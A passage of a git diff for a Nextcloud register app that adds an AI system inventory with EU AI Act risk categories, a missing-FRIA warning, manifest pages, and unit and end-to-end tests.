described; searched the full-text search index of docs.topdesk.com (https://docs.topdesk.com/en/js/fuzzydata.js, 987 pages) (read 2026-09-26)" + "topdesk": "unknown: AI agents and models as registered items are not described; searched the full-text search index of docs.topdesk.com (https://docs.topdesk.com/en/js/fuzzydata.js, 987 pages) (read 2026-09-26)", + "stackiq": "lib/Settings/softwarecatalogus_register.json schema aiSystem (kind AI agent/AI model/AI feature, module, provider, purpose, status with lifecycle) in the stackiq register; src/manifest.d/ai-systems.json pages AiSystems (/ai-systems) and AiSystemDetail; ModuleDetail widget md-ai-systems; tests/Unit/Settings/AiSystemFragmentTest.php, tests/vitest/aiSystems.spec.js" }, - "note": "Mined from sap-leanix (changelog) on 2026-09-26. Specified in openspec/changes/landscape-ai-system-inventory (OpenSpec pass 2026-09-27).", + "note": "Mined from sap-leanix (changelog) on 2026-09-26. Specified in openspec/changes/landscape-ai-system-inventory (OpenSpec pass 2026-09-27). AI systems are registered and linked to the application they run in; linking them to processes waits for architecture-process-mapping (built by openspec/changes/archive/2026-09-29-landscape-ai-system-inventory).", "vng-softwarecatalogus": "unknown", "bluedolphin": "unknown", "glpi": "partial", @@ -5373,13 +5375,14 @@ "name": "Classify the AI systems in the landscape by EU AI Act risk category and keep the evidence the act requires.", "origin": "roadmap", "originUrl": "https://roadmap.leanix.net/c/812-meta-model-eu-ai-act-extension", - "stackiq": "no", + "stackiq": "yes", "built": { - "state": "specified", - "evidence": "no AI system or AI Act risk property on module or any other schema in lib/Settings/softwarecatalogus_register.json", - "owner": "ConductionNL/stackiq" + "state": "built", + "evidence": "aiSystem.aiActRiskCategory (prohibited, high risk, limited risk, minimal risk, not yet assessed), aiActRole, assessedOn, algorithmRegisterUrl, friaDocumentRef; evidence files tagged FRIA, Technical documentation, Human oversight, Logging; AiActChecklist on AiSystemDetail and the High risk without FRIA quick filter (src/utils/aiAct.js); tests/vitest/aiSystems.spec.js", + "owner": "ConductionNL/stackiq", + "change": "2026-09-29-landscape-ai-system-inventory" }, - "reachedOn": "nothing reaches it", + "reachedOn": "Applications > AI systems (/ai-systems), AI system page, and the AI systems section on the application page", "provider": "stackiq", "providerHow": "read-from-code", "featureConfidence": "medium", @@ -5389,9 +5392,10 @@ "vng-softwarecatalogus": "unknown: the EU AI Act is not described; searched the public manuals and FAQ at https://www.softwarecatalogus.nl/node/16564, https://www.softwarecatalogus.nl/node/13683, https://www.softwarecatalogus.nl/node/19703, https://www.softwarecatalogus.nl/Gebruikershandleiding_leverancier (read 2026-09-26)", "bluedolphin": "not checked: row added in wave 5 (2026-09-26), no reading of this system for it yet", "glpi": "source read at 11.0.9: grep -rli 'ai act\\|artificial intelligence' over src/ locales/glpi.pot returns nothing; appliances have no risk category field (install/mysql/glpi-empty.sql:8935 glpi_appliances).", - "topdesk": "unknown: the AI Act is mentioned only for TOPdesk's own AI features (\"post-market monitoring procedures ... in accordance with the AI Act\"), not for classifying the customer's AI systems; searched the full-text search index of docs.topdesk.com (https://docs.topdesk.com/en/js/fuzzydata.js, 987 pages) (read 2026-09-26)" + "topdesk": "unknown: the AI Act is mentioned only for TOPdesk's own AI features (\"post-market monitoring procedures ... in accordance with the AI Act\"), not for classifying the customer's AI systems; searched the full-text search index of docs.topdesk.com (https://docs.topdesk.com/en/js/fuzzydata.js, 987 pages) (read 2026-09-26)", + "stackiq": "aiSystem.aiActRiskCategory (prohibited, high risk, limited risk, minimal risk, not yet assessed), aiActRole, assessedOn, algorithmRegisterUrl, friaDocumentRef; evidence files tagged FRIA, Technical documentation, Human oversight, Logging; AiActChecklist on AiSystemDetail and the High risk without FRIA quick filter (src/utils/aiAct.js); tests/vitest/aiSystems.spec.js" }, - "note": "Mined from sap-leanix (roadmap) on 2026-09-26. Specified in openspec/changes/landscape-ai-system-inventory (OpenSpec pass 2026-09-27).", + "note": "Mined from sap-leanix (roadmap) on 2026-09-26. Specified in openspec/changes/landscape-ai-system-inventory (OpenSpec pass 2026-09-27). An AI system records its AI Act risk category, role and evidence, and a high-risk system without a FRIA is flagged (built by openspec/changes/archive/2026-09-29-landscape-ai-system-inventory).", "vng-softwarecatalogus": "unknown", "bluedolphin": "unknown", "glpi": "no", diff --git a/openspec/specs/ai-system-inventory/spec.md b/openspec/specs/ai-system-inventory/spec.md new file mode 100644 index 000000000..f96f3cc44 --- /dev/null +++ b/openspec/specs/ai-system-inventory/spec.md @@ -0,0 +1,40 @@ +# ai-system-inventory Specification + +## Purpose +The organisation keeps its AI agents, models and features next to the applications they run in, with their EU AI Act classification and evidence. Matrix rows `stackiq:land-ai-agent-inventory` and `stackiq:comp-ai-act-classification`. + +## Requirements + +### Requirement: REQ-AIS-001 An organisation registers the AI systems it uses next to their applications + +Stackiq SHALL store an AI system with its name, kind (AI agent, AI model or AI feature), the application it runs in or supports, the supplier, its purpose and a status, and the application page SHALL list the AI systems linked to it. + +#### Scenario: An information manager registers a chat assistant +@e2e tests/e2e/workflows/ai-systems.spec.ts + +- **GIVEN** the municipality uses application X, which has a built-in chat assistant +- **WHEN** the information manager opens AI systems, clicks Add and saves "Chat assistant" of kind AI feature linked to X +- **THEN** the page of X lists "Chat assistant" in its AI systems section + +### Requirement: REQ-AIS-002 An AI system carries its AI Act classification and evidence + +An AI system SHALL record its EU AI Act risk category (prohibited, high risk, limited risk, minimal risk or not yet assessed), the organisation's role under the act, the date of the last assessment and a link to its algorithm register entry, and SHALL hold evidence files tagged FRIA, Technical documentation, Human oversight and Logging. The AI systems list SHALL filter on risk category. + +#### Scenario: A privacy officer lists the high-risk systems +@e2e tests/e2e/workflows/ai-systems.spec.ts + +- **GIVEN** two AI systems, one high risk and one minimal risk +- **WHEN** the privacy officer filters the AI systems list on high risk +- **THEN** only the high-risk system remains + +### Requirement: REQ-AIS-003 A high-risk AI system without a fundamental rights impact assessment is flagged + +The detail page of an AI system SHALL show which of the four evidence tags have a file. A high-risk AI system whose FRIA reference is empty SHALL show a warning in the list, and the list SHALL offer a filter for exactly those systems. + +#### Scenario: The missing assessment shows +@e2e tests/e2e/workflows/ai-systems.spec.ts + +- **GIVEN** a high-risk AI system with technical documentation but no FRIA +- **WHEN** the privacy officer filters the AI systems list on High risk without FRIA +- **THEN** that system is listed with a warning +- **AND** its page marks FRIA as missing in the evidence checklist diff --git a/src/App.vue b/src/App.vue index 1987ef141..89ee4fb9e 100644 --- a/src/App.vue +++ b/src/App.vue @@ -20,6 +20,7 @@ :aiCompanion="true" :manifest="manifest" :customComponents="customComponents" + :formatters="formatters" :registry="registry" :pageTypes="pageTypes" appId="stackiq" @@ -75,6 +76,7 @@ import OrganisationSwitcher from './components/organisations/OrganisationSwitche import Dialogs from './dialogs/Dialogs.vue' import Modals from './modals/Modals.vue' import { setActiveOrganisationUuid } from './composables/orClient.js' +import appFormatters from './formatters.js' import { settingsStore } from './store/store.js' export default { @@ -148,6 +150,8 @@ export default { data() { return { + // App cell formatters for manifest columns (`columns[].formatter`). + formatters: appFormatters, objectSidebarState: reactive({ active: false, open: true, diff --git a/src/components/ai/AiActChecklist.vue b/src/components/ai/AiActChecklist.vue new file mode 100644 index 000000000..45e46e463 --- /dev/null +++ b/src/components/ai/AiActChecklist.vue @@ -0,0 +1,241 @@ + + + + + + diff --git a/src/customComponents.js b/src/customComponents.js index 3ca4565e7..3d75c2da6 100644 --- a/src/customComponents.js +++ b/src/customComponents.js @@ -18,6 +18,7 @@ // - @conduction/nextcloud-vue → docs/migrating-to-manifest.md import { generateUrl } from '@nextcloud/router' +import AiActChecklist from './components/ai/AiActChecklist.vue' import OrganisatieCard from './components/cards/OrganisatieCard.vue' import ApplicationContractsPanel from './components/contracts/ApplicationContractsPanel.vue' import ContractApprovalPanel from './components/contracts/ContractApprovalPanel.vue' @@ -90,6 +91,10 @@ export default { // Licences in use against licences bought (contracts-licence-seats). ContractSeatsPanel, + // AI Act evidence per tag on the AI system page (landscape-ai-system-inventory): + // it reads the object's files and their tags, which no built-in widget lists per tag. + AiActChecklist, + // --- Admin-triggered organisation-merge (VNG Softwarecatalogus #141). --- // Dry-run preview + confirm dialog + execute for folding a source // organisation into a target (gemeentelijke herindeling / diff --git a/src/formatters.js b/src/formatters.js new file mode 100644 index 000000000..66fcd17e9 --- /dev/null +++ b/src/formatters.js @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: EUPL-1.2 +// Copyright (C) 2026 Conduction B.V. +// +// App cell formatters, handed to CnAppRoot as `formatters` and resolved by +// name from a manifest column's `formatter`. CnAppRoot spreads these OVER the +// library built-ins, so a name here must never equal a built-in's name: +// tests/vitest/connectionRegistry.spec.js holds that. + +import { friaStatus } from './utils/aiAct.js' + +export default { + // The FRIA column of the AI systems list (landscape-ai-system-inventory). + friaStatus, +} diff --git a/src/icons.js b/src/icons.js index be09aea7a..78210e070 100644 --- a/src/icons.js +++ b/src/icons.js @@ -55,6 +55,7 @@ import PackageVariant from 'vue-material-design-icons/PackageVariant.vue' import PackageVariantClosed from 'vue-material-design-icons/PackageVariantClosed.vue' import PowerPlugOutline from 'vue-material-design-icons/PowerPlugOutline.vue' import PuzzleOutline from 'vue-material-design-icons/PuzzleOutline.vue' +import RobotOutline from 'vue-material-design-icons/RobotOutline.vue' import ShieldAlert from 'vue-material-design-icons/ShieldAlert.vue' import ShieldAlertOutline from 'vue-material-design-icons/ShieldAlertOutline.vue' import ShieldCheckOutline from 'vue-material-design-icons/ShieldCheckOutline.vue' @@ -114,6 +115,7 @@ export default { PackageVariantClosed, PowerPlugOutline, PuzzleOutline, + RobotOutline, ShieldAlert, ShieldAlertOutline, ShieldCheckOutline, diff --git a/src/manifest.d/ai-systems.json b/src/manifest.d/ai-systems.json new file mode 100644 index 000000000..3f8e3b611 --- /dev/null +++ b/src/manifest.d/ai-systems.json @@ -0,0 +1,78 @@ +{ + "$schema": "https://raw.githubusercontent.com/ConductionNL/nextcloud-vue/main/src/schemas/app-manifest-v2.schema.json", + "_note": "landscape-ai-system-inventory: the aiSystem schema in lib/Settings/softwarecatalogus_register.json. A menu child of Applications (ADR-097). The High risk without FRIA quick filter sends friaDocumentRef=IS NULL, which OpenRegister's property filter reads as a null check; the FRIA column uses the app formatter friaStatus (src/utils/aiAct.js), so the list warns on the same rule.", + "menu": [ + { + "id": "Modules", + "children": [ + { "id": "AiSystems", "label": "AI systems", "icon": "RobotOutline", "route": "AiSystems", "order": 11 } + ] + } + ], + "pages": [ + { + "id": "AiSystems", + "route": "/ai-systems", + "type": "index", + "title": "AI systems", + "config": { + "register": "@resolve:voorzieningen_register", + "schema": "aiSystem", + "description": "The AI agents, AI models and AI features your organisation uses, with their EU AI Act risk category.", + "columns": [ + "name", + "kind", + "module", + "aiActRiskCategory", + "status", + { "key": "friaDocumentRef", "label": "FRIA", "formatter": "friaStatus", "widget": "badge" } + ], + "filterMenu": true, + "quickFilters": [ + { "label": "All", "filter": {}, "default": true }, + { "label": "High risk", "filter": { "aiActRiskCategory": "high risk" }, "icon": "ShieldAlert" }, + { "label": "High risk without FRIA", "filter": { "aiActRiskCategory": "high risk", "friaDocumentRef": "IS NULL" }, "icon": "AlertCircle" }, + { "label": "Limited risk", "filter": { "aiActRiskCategory": "limited risk" } }, + { "label": "Minimal risk", "filter": { "aiActRiskCategory": "minimal risk" } }, + { "label": "Not yet assessed", "filter": { "aiActRiskCategory": "not yet assessed" } }, + { "label": "Prohibited", "filter": { "aiActRiskCategory": "prohibited" } } + ], + "sidebar": { "enabled": true, "showMetadata": true }, + "documentationUrl": "https://stackiq.conduction.nl" + } + }, + { + "id": "AiSystemDetail", + "route": "/ai-systems/:id", + "type": "detail", + "title": "AI system", + "config": { + "register": "@resolve:voorzieningen_register", + "schema": "aiSystem", + "_note": "Data 8 wide with the AI Act fields, documents 4 wide (the four evidence tags), the related panel, then the evidence checklist as a body widget. Status transitions come from the schema's x-openregister-lifecycle (release, withdraw).", + "lifecycleActions": { "field": "status" }, + "widgets": [ + { "id": "ai-data", "type": "data", "title": "AI system", "icon": "RobotOutline", "content": { "columns": 2, "include": [ "name", "kind", "module", "provider", "purpose", "status", "aiActRiskCategory", "aiActRole", "assessedOn", "friaDocumentRef", "algorithmRegisterUrl", "description" ] } }, + { "id": "ai-files", "type": "integration", "integrationId": "files", "title": "Documents", "icon": "FolderOutline" }, + { "id": "ai-related", "type": "related", "title": "Application and supplier", "icon": "LinkVariant" } + ], + "layout": [ + { "id": "1", "widgetId": "ai-data", "gridX": 0, "gridY": 0, "gridWidth": 8, "gridHeight": 8 }, + { "id": "2", "widgetId": "ai-files", "gridX": 8, "gridY": 0, "gridWidth": 4, "gridHeight": 4 }, + { "id": "3", "widgetId": "ai-related", "gridX": 8, "gridY": 4, "gridWidth": 4, "gridHeight": 4 } + ], + "bodyWidgets": [ + { "id": "ai-checklist", "component": "AiActChecklist", "props": { "objectId": "@objectId" }, "placement": "end", "colSpan": 12 } + ], + "sidebar": { + "enabled": true, + "showMetadata": true, + "tabs": [ + { "id": "audit", "label": "History", "icon": "History", "widgets": [ { "type": "audit" } ] } + ] + }, + "documentationUrl": "https://stackiq.conduction.nl" + } + } + ] +} diff --git a/src/manifest.json b/src/manifest.json index 2ab235b42..5f5bd1cce 100644 --- a/src/manifest.json +++ b/src/manifest.json @@ -504,7 +504,8 @@ { "id": "md-versions", "type": "object-list", "title": "Application versions", "icon": "SourceBranch", "content": { "register": "@resolve:voorzieningen_register", "schema": "moduleVersion", "filter": { "module": "@objectId" }, "columns": [ { "key": "version", "label": "Version" }, { "key": "status", "label": "Status" } ], "limit": 25, "rowRoute": "ModuleversieDetail", "allowCreate": false, "emptyText": "No versions registered yet" } }, { "id": "md-usages", "type": "object-list", "title": "Usages", "icon": "OfficeBuilding", "content": { "register": "@resolve:voorzieningen_register", "schema": "usage", "filter": { "module": "@objectId" }, "columns": [ { "key": "consumer", "label": "Organisation" }, { "key": "moduleVersion", "label": "Version" }, { "key": "status", "label": "Status" } ], "limit": 50, "allowCreate": false, "emptyText": "No organisation registered a usage yet" } }, { "id": "md-connections-out", "type": "object-list", "title": "Connections from this application", "icon": "LinkVariant", "content": { "register": "@resolve:voorzieningen_register", "schema": "connection", "filter": { "moduleA": "@objectId" }, "columns": [ { "key": "moduleB", "label": "To application" }, { "key": "nonMunicipalProvision", "label": "To national provision" }, { "key": "type", "label": "Type" }, { "key": "status", "label": "Status" } ], "limit": 25, "rowRoute": "KoppelingDetail", "viewAllRoute": "Koppelingen", "viewAllQuery": { "moduleA": "@objectId" }, "allowCreate": false, "emptyText": "No connections start at this application" } }, - { "id": "md-connections-in", "type": "object-list", "title": "Connections to this application", "icon": "LinkVariant", "content": { "register": "@resolve:voorzieningen_register", "schema": "connection", "filter": { "moduleB": "@objectId" }, "columns": [ { "key": "moduleA", "label": "From application" }, { "key": "type", "label": "Type" }, { "key": "status", "label": "Status" } ], "limit": 25, "rowRoute": "KoppelingDetail", "viewAllRoute": "Koppelingen", "viewAllQuery": { "moduleB": "@objectId" }, "allowCreate": false, "emptyText": "No connections end at this application" } } + { "id": "md-connections-in", "type": "object-list", "title": "Connections to this application", "icon": "LinkVariant", "content": { "register": "@resolve:voorzieningen_register", "schema": "connection", "filter": { "moduleB": "@objectId" }, "columns": [ { "key": "moduleA", "label": "From application" }, { "key": "type", "label": "Type" }, { "key": "status", "label": "Status" } ], "limit": 25, "rowRoute": "KoppelingDetail", "viewAllRoute": "Koppelingen", "viewAllQuery": { "moduleB": "@objectId" }, "allowCreate": false, "emptyText": "No connections end at this application" } }, + { "id": "md-ai-systems", "type": "object-list", "title": "AI systems", "icon": "RobotOutline", "content": { "register": "@resolve:voorzieningen_register", "schema": "aiSystem", "filter": { "module": "@objectId" }, "columns": [ { "key": "kind", "label": "Kind" }, { "key": "aiActRiskCategory", "label": "AI Act risk category" }, { "key": "status", "label": "Status" } ], "limit": 25, "rowRoute": "AiSystemDetail", "viewAllRoute": "AiSystems", "viewAllQuery": { "module": "@objectId" }, "allowCreate": false, "emptyText": "No AI systems registered for this application" } } ], "layout": [ { "id": "1", "widgetId": "md-data", "gridX": 0, "gridY": 0, "gridWidth": 8, "gridHeight": 8 }, @@ -514,7 +515,8 @@ { "id": "5", "widgetId": "md-usages", "gridX": 6, "gridY": 8, "gridWidth": 6, "gridHeight": 4 }, { "id": "6", "widgetId": "md-compliance", "gridX": 0, "gridY": 12, "gridWidth": 12, "gridHeight": 4 }, { "id": "7", "widgetId": "md-connections-out", "gridX": 0, "gridY": 16, "gridWidth": 6, "gridHeight": 4 }, - { "id": "8", "widgetId": "md-connections-in", "gridX": 6, "gridY": 16, "gridWidth": 6, "gridHeight": 4 } + { "id": "8", "widgetId": "md-connections-in", "gridX": 6, "gridY": 16, "gridWidth": 6, "gridHeight": 4 }, + { "id": "9", "widgetId": "md-ai-systems", "gridX": 0, "gridY": 20, "gridWidth": 12, "gridHeight": 4 } ], "bodyWidgets": [ { "id": "md-contracts", "component": "ApplicationContractsPanel", "props": { "objectId": "@objectId" }, "placement": "end", "colSpan": 12 }, diff --git a/src/utils/aiAct.js b/src/utils/aiAct.js new file mode 100644 index 000000000..f17c37960 --- /dev/null +++ b/src/utils/aiAct.js @@ -0,0 +1,67 @@ +/** + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + * + * EU AI Act helpers for the AI systems pages: the missing-FRIA rule the list + * warns on, and the evidence checklist the detail page shows. + * + * @spec openspec/specs/ai-system-inventory/spec.md#requirement-req-ais-003-a-high-risk-ai-system-without-a-fundamental-rights-impact-assessment-is-flagged + */ + +import { translate as t } from '@nextcloud/l10n' + +/** + * The evidence tags a deployer of a high-risk AI system keeps, in the order + * the checklist shows them. The same list is the schema's `allowedTags`. + */ +export const EVIDENCE_TAGS = [ + 'FRIA', + 'Technical documentation', + 'Human oversight', + 'Logging', +] + +/** + * Whether an AI system is high risk and has no FRIA reference. + * + * @param {object} system The aiSystem object. + * @return {boolean} True when the FRIA is missing. + * @spec openspec/specs/ai-system-inventory/spec.md#requirement-req-ais-003-a-high-risk-ai-system-without-a-fundamental-rights-impact-assessment-is-flagged + */ +export function friaMissing(system) { + if (!system || system.aiActRiskCategory !== 'high risk') { + return false + } + const ref = system.friaDocumentRef + return typeof ref !== 'string' || ref.trim() === '' +} + +/** + * Cell formatter for the FRIA column of the AI systems list: reads + * "FRIA missing" on a flagged system and nothing otherwise. + * + * @param {unknown} _value The friaDocumentRef value (the row is read instead). + * @param {object} row The aiSystem row. + * @return {string} The warning, or an empty string. + * @spec openspec/specs/ai-system-inventory/spec.md#requirement-req-ais-003-a-high-risk-ai-system-without-a-fundamental-rights-impact-assessment-is-flagged + */ +export function friaStatus(_value, row) { + return friaMissing(row) ? t('stackiq', 'FRIA missing') : '' +} + +/** + * The evidence checklist: one entry per tag, present when a file carries it. + * + * @param {Array|undefined} files The object's files, each with `labels`. + * @return {Array<{tag: string, present: boolean, files: Array}>} The checklist. + * @spec openspec/specs/ai-system-inventory/spec.md#requirement-req-ais-003-a-high-risk-ai-system-without-a-fundamental-rights-impact-assessment-is-flagged + */ +export function evidenceChecklist(files) { + const list = Array.isArray(files) ? files : [] + return EVIDENCE_TAGS.map((tag) => { + const names = list + .filter((f) => Array.isArray(f?.labels) && f.labels.includes(tag)) + .map((f) => f.name) + return { tag, present: names.length > 0, files: names } + }) +} diff --git a/tests/Unit/Settings/AiSystemFragmentTest.php b/tests/Unit/Settings/AiSystemFragmentTest.php new file mode 100644 index 000000000..3c5844c4c --- /dev/null +++ b/tests/Unit/Settings/AiSystemFragmentTest.php @@ -0,0 +1,171 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * + * @link https://conduction.nl + * + * @spec openspec/specs/ai-system-inventory/spec.md#requirement-req-ais-001-an-organisation-registers-the-ai-systems-it-uses-next-to-their-applications + * + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Tests\Unit\Settings; + +use OCA\Stackiq\Service\SettingsService; +use PHPUnit\Framework\TestCase; +use ReflectionMethod; + +/** + * Merges every register.d fragment the way loadSettings() does and reads the + * aiSystem schema and the stackiq register from the result. + * + * @coversNothing + */ +class AiSystemFragmentTest extends TestCase { + + /** + * The register configuration after every fragment is merged in. + * + * @return array The merged configuration. + */ + private function merged(): array { + $dir = __DIR__ . '/../../../lib/Settings'; + $merged = json_decode((string) file_get_contents($dir . '/softwarecatalogus_register.json'), true); + $merge = new ReflectionMethod(SettingsService::class, 'deepMergeConfig'); + + $files = glob($dir . '/register.d/*.json'); + sort($files); + foreach ($files as $file) { + $fragment = json_decode((string) file_get_contents($file), true); + $merged = $merge->invoke(null, $merged, $fragment); + } + + return $merged; + }//end merged() + + /** + * The aiSystem schema. + * + * @return array The schema. + */ + private function schema(): array { + $schemas = $this->merged()['components']['schemas']; + $this->assertArrayHasKey('aiSystem', $schemas); + + return $schemas['aiSystem']; + }//end schema() + + /** + * The stackiq register lists the new schema, and keeps the ones it had. + * + * @return void + */ + public function testTheStackiqRegisterListsAiSystem(): void { + $list = $this->merged()['components']['registers']['stackiq']['schemas']; + + $this->assertContains('aiSystem', $list); + $this->assertContains('module', $list); + $this->assertContains('usage', $list); + $this->assertSame(count($list), count(array_unique($list))); + }//end testTheStackiqRegisterListsAiSystem() + + /** + * The record holds the fields of REQ-AIS-001 and REQ-AIS-002. + * + * @return void + */ + public function testTheRecordHoldsTheInventoryAndActFields(): void { + $props = $this->schema()['properties']; + + $this->assertSame(['AI agent', 'AI model', 'AI feature'], $props['kind']['enum']); + $this->assertSame( + ['prohibited', 'high risk', 'limited risk', 'minimal risk', 'not yet assessed'], + $props['aiActRiskCategory']['enum'] + ); + $this->assertSame('not yet assessed', $props['aiActRiskCategory']['default']); + $this->assertSame(['provider', 'deployer'], $props['aiActRole']['enum']); + $this->assertSame('#/components/schemas/module', $props['module']['$ref']); + $this->assertSame('#/components/schemas/organization', $props['provider']['$ref']); + $this->assertSame('uri', $props['algorithmRegisterUrl']['format']); + $this->assertSame('date', $props['assessedOn']['format']); + $this->assertSame('string', $props['friaDocumentRef']['type']); + $this->assertTrue($props['kind']['facetable']); + $this->assertTrue($props['aiActRiskCategory']['facetable']); + $this->assertSame(['name'], $this->schema()['required']); + + foreach (['kind', 'aiActRiskCategory', 'aiActRole', 'status'] as $field) { + $this->assertSame($props[$field]['enum'], array_keys($props[$field]['x-enum-labels']), $field); + } + }//end testTheRecordHoldsTheInventoryAndActFields() + + /** + * Evidence files carry the four tags the act asks of a deployer. + * + * @return void + */ + public function testEvidenceFilesCarryTheFourTags(): void { + $config = $this->schema()['configuration']; + + $this->assertTrue($config['allowFiles']); + $this->assertSame(['FRIA', 'Technical documentation', 'Human oversight', 'Logging'], $config['allowedTags']); + }//end testEvidenceFilesCarryTheFourTags() + + /** + * The lifecycle names exactly the status values, so every transition can match a row. + * + * @return void + */ + public function testTheLifecycleMatchesTheStatusValues(): void { + $schema = $this->schema(); + $lifecycle = $schema['configuration']['x-openregister-lifecycle']; + $values = $schema['properties']['status']['enum']; + + $this->assertSame('status', $lifecycle['field']); + $this->assertContains($lifecycle['initial'], $values); + foreach ($lifecycle['final'] as $final) { + $this->assertContains($final, $values); + } + + foreach ($lifecycle['transitions'] as $name => $transition) { + $this->assertContains($transition['to'], $values, $name); + foreach ($transition['from'] as $from) { + $this->assertContains($from, $values, $name); + } + } + }//end testTheLifecycleMatchesTheStatusValues() + + /** + * An organisation reads and edits only its own AI systems; a supplier reads those it provides. + * + * @return void + */ + public function testReadsAreScopedToTheOrganisation(): void { + $read = $this->schema()['authorization']['read']; + + $this->assertContains(['group' => 'gebruik-beheerder', 'match' => ['_organisation' => '$organisation']], $read); + $this->assertContains(['group' => 'aanbod-beheerder', 'match' => ['provider' => '$organisation']], $read); + foreach ($read as $rule) { + if (is_string($rule) === true) { + $this->assertSame('software-catalog-admins', $rule, 'only the catalogue admins read every AI system'); + } + } + + foreach ($this->schema()['authorization']['update'] as $rule) { + if (is_string($rule) === true) { + $this->assertSame('software-catalog-admins', $rule, 'only the catalogue admins edit every AI system'); + } + } + }//end testReadsAreScopedToTheOrganisation() +}//end class diff --git a/tests/e2e/workflows/ai-systems.spec.ts b/tests/e2e/workflows/ai-systems.spec.ts new file mode 100644 index 000000000..a8203c765 --- /dev/null +++ b/tests/e2e/workflows/ai-systems.spec.ts @@ -0,0 +1,129 @@ +// SPDX-License-Identifier: EUPL-1.2 +// SPDX-FileCopyrightText: 2026 Conduction B.V. +/** + * AI systems: an AI feature listed on its application's page, the high-risk + * quick filter, and the missing FRIA warning in the list and on the page. + * + * Seeds one application and three AI systems carrying this run's RUN_ID + * through the objects API (the call the Add form makes), and removes exactly + * those rows afterwards. The FRIA rule and the checklist logic are covered by + * tests/vitest/aiSystems.spec.js. + * + * @spec openspec/specs/ai-system-inventory/spec.md + */ +import type { APIRequestContext } from '@playwright/test' +import type { VoorzieningenConfig } from './_fixtures.ts' + +import { expect, test } from '@playwright/test' +import { + createObject, + deleteObject, + newApiContext, + resolveConfig, + RUN_ID, +} from './_fixtures.ts' +import { dismissSupportDialog, gotoAppRoute } from './_ui.ts' + +let apiCtx: APIRequestContext +let cfg: VoorzieningenConfig +const seeded: Array<[string, string]> = [] +const ids: Record = {} +const chat = `${RUN_ID} chat assistant` +const scoring = `${RUN_ID} scoring model` +const checked = `${RUN_ID} checked model` + +/** + * Create a row and remember it for cleanup. + * + * @param schema The schema slug. + * @param data The object. + * @return The new id. + */ +async function seed(schema: string, data: Record): Promise { + const id = await createObject(apiCtx, cfg.register, schema, data) + seeded.push([schema, id]) + return id +} + +test.beforeAll(async () => { + apiCtx = await newApiContext() + cfg = await resolveConfig(apiCtx) + ids.x = await seed('module', { name: `${RUN_ID} application X` }) + ids.chat = await seed('aiSystem', { + name: chat, + kind: 'AI feature', + module: ids.x, + aiActRiskCategory: 'minimal risk', + status: 'in use', + }) + ids.scoring = await seed('aiSystem', { + name: scoring, + kind: 'AI model', + aiActRiskCategory: 'high risk', + status: 'in use', + }) + ids.checked = await seed('aiSystem', { + name: checked, + kind: 'AI model', + aiActRiskCategory: 'high risk', + friaDocumentRef: '/AI/fria.pdf', + status: 'in use', + }) +}) + +test.afterAll(async () => { + if (!apiCtx) return + for (const [schema, id] of seeded.reverse()) { + await deleteObject(apiCtx, cfg.register, schema, id) + } + await apiCtx.dispose() +}) + +// @e2e ai-system-inventory::an-information-manager-registers-a-chat-assistant +test('the application page lists its AI feature in the AI systems section', async ({ + page, +}) => { + await gotoAppRoute(page, `/modules/${ids.x}`) + await dismissSupportDialog(page) + await expect(page.getByText('AI systems').first()).toBeVisible({ + timeout: 30000, + }) + await expect(page.getByText(chat).first()).toBeVisible({ timeout: 30000 }) + await page.getByText(chat).first().click() + await expect(page).toHaveURL(new RegExp(`/ai-systems/${ids.chat}`)) +}) + +// @e2e ai-system-inventory::a-privacy-officer-lists-the-high-risk-systems +test('filtering on high risk leaves only the high-risk systems', async ({ + page, +}) => { + await gotoAppRoute(page, '/ai-systems') + await dismissSupportDialog(page) + await expect(page.getByText(chat).first()).toBeVisible({ timeout: 30000 }) + await page.getByRole('tab', { name: 'High risk', exact: true }).click() + await expect(page.getByText(scoring).first()).toBeVisible({ timeout: 30000 }) + await expect(page.getByText(chat)).toHaveCount(0) +}) + +// @e2e ai-system-inventory::the-missing-assessment-shows +test('a high-risk system without a FRIA is listed with a warning and its page marks FRIA missing', async ({ + page, +}) => { + await gotoAppRoute(page, '/ai-systems') + await dismissSupportDialog(page) + await page + .getByRole('tab', { name: 'High risk without FRIA', exact: true }) + .click() + const row = page.getByRole('row').filter({ hasText: scoring }) + await expect(row).toContainText('FRIA missing', { timeout: 30000 }) + await expect(page.getByText(checked)).toHaveCount(0) + + await gotoAppRoute(page, `/ai-systems/${ids.scoring}`) + await expect(page.getByTestId('ai-act-fria-warning')).toBeVisible({ + timeout: 30000, + }) + await expect(page.getByTestId('ai-act-evidence-FRIA')).toHaveAttribute( + 'data-present', + 'false', + ) +}) diff --git a/tests/vitest/aiSystems.spec.js b/tests/vitest/aiSystems.spec.js new file mode 100644 index 000000000..13d1a7eb7 --- /dev/null +++ b/tests/vitest/aiSystems.spec.js @@ -0,0 +1,230 @@ +/** + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + * + * AI systems: the evidence checklist and the missing-FRIA rule, the pages as + * the app builds them (manifest.d merged the way src/main.js merges it), and + * the seeded AI systems validated against the real aiSystem schema in the + * register. + * + * @spec openspec/specs/ai-system-inventory/spec.md + */ + +import addFormats from 'ajv-formats' +import Ajv2020 from 'ajv/dist/2020.js' +import * as fs from 'fs' +import * as path from 'path' +import { describe, expect, it } from 'vitest' +import register from '../../lib/Settings/softwarecatalogus_register.json' +import mock from '../../lib/Settings/stackiq_mock_register.json' +import manifestSchema from '../../node_modules/@conduction/nextcloud-vue/src/schemas/app-manifest-v2.schema.json' +import { buildManifest } from '../../node_modules/@conduction/nextcloud-vue/src/utils/buildManifest.js' +import base from '../../src/manifest.json' +import menuLayout from '../../src/menu-layout.json' +import { + EVIDENCE_TAGS, + evidenceChecklist, + friaMissing, + friaStatus, +} from '../../src/utils/aiAct.js' + +const dir = path.resolve(__dirname, '../../src/manifest.d') +const merged = buildManifest( + base, + fs + .readdirSync(dir) + .filter((f) => f.endsWith('.json')) + .sort() + .map((f) => JSON.parse(fs.readFileSync(path.join(dir, f), 'utf8'))), + menuLayout, +) +const page = (id) => merged.pages.find((p) => p.id === id) +const schema = register.components.schemas.aiSystem + +/** + * A validator built from the real aiSystem properties. A relation is checked + * as an object or an id string, the way 